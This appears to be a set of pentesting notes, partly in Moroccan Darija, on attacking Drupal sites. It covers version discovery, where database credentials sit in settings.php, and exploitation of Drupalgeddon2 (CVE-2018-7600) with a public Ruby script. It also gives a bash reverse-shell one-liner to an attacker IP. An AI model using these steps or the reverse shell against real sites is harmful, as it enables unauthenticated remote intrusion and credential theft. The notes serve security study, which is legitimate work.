Drupal
Testing Drupal: overview and directory structure.
Drupal :#
Drupal = CMS (Content Management System) b7al WordPress → katsayb bih sites: blog, shop, government site... Msayb b PHP + kaykhdem b MySQL ou PostgreSQL
Recon : l'objectif detecte if the website (Drupal)#
whatweb http://ip (opens in a new tab) l'objectif is detect the version we can use some tools to brute forcing path like gobuster gobuster dir -u http://ip (opens in a new tab) -w /usr/share/seclists/Discovery/Web-Content/CMS/Drupal.txt Or droopescan scan drupal -u http://ip (opens in a new tab) Or send the request and see it in burp (X-Generator : Drupal 7 | X-Powered-By : ASP.NET) if we detecte the version : searchsploit drupal x.x
Exploitation :#
this endpoint is very important " /sites/default/settings.php " because it contains : DB_NAME, DB_USER, DB_PASSWORD
---------------------------------------------Professional Exploitation of the Drupalgeddon2 Vulnerability (CVE-2018-7600)------------------------------------------------------------------
Vulnerability Description :#
The Drupalgeddon2 vulnerability (CVE-2018-7600) allows remote command execution (RCE) without authentication. It affects: Drupal versions ≤ 7.57 & Drupal 8.3.x to 8.5.0
Drupal Version Identification#
To detect the Drupal version: curl http:///CHANGELOG.txt Example output: Drupal 7.54, 2017-02-01 So this version is vulnerable to Drupalgeddon2.
Using the Drupalgeddon2 Exploit#
Official exploit repository: CVE-2018-7600 | Drupal 8.5.x < 8.5.1 / 8.4.x < 8.4.6 / 8.x < 8.3.9 / 7.x? < 7.58 / < 6.x? - 'Drupalgeddon2' RCE (SA-CORE-2018-002)
https://github.com/dreadlocked/Drupalgeddon2 (opens in a new tab)
Usage:#
$ ruby drupalgeddon2.rb Usage: ruby drupalggedon2.rb [--verbose] [--authentication] ruby drupalgeddon2.rb https://example.com (opens in a new tab)
Optional flags:
--verbose → Show detailed output --authentication → If the target requires login
Vulnerability Verification After executing the script, inject test commands: id | uname -a
Reverse Shell (Optional) Use a bash reverse shell: bash -i >& /dev/tcp/<attacker_ip>/ 0>&1
Directory structure#
Drupal Structure
Path Description /core/ Main CMS engine dyal Drupal /modules/ Functional extensions (same as plugins in WP) /themes/ UI themes (visual look) /sites/ Site-specific configs /sites/default/settings.php DB config (very sensitive!) /sites/default/files/ User-uploaded content (images/docs) /user/login Default login page /admin/ Admin dashboard index.php Main entry point .htaccess Apache config